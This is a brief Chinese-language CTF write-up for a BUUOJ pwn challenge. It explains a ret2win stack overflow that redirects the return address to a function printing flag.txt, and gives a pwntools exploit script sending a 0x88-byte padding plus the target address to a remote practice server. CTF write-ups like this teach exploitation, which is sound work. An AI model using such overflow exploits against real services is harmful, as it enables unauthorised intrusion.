分析一下这串代码,每次读取flag.txt的一个字符存入buf[0]里面,然后用write输出(buf代表的是buf[0]),读到文件末尾退出返回0xFF。其实就输出flag啦,我们只要将栈溢出返回地址填到这个函数就行
这里注意没有把rbp压入栈,结尾也没有leave,不用加8
exp
from pwn import *
io=remote('node5.buuoj.cn',25991)
context.log_level='debug'
game=0x0400620
payload=cyclic(0x88)+p64(game)
io.sendlineafter('message:\n',payload)
io.interactive()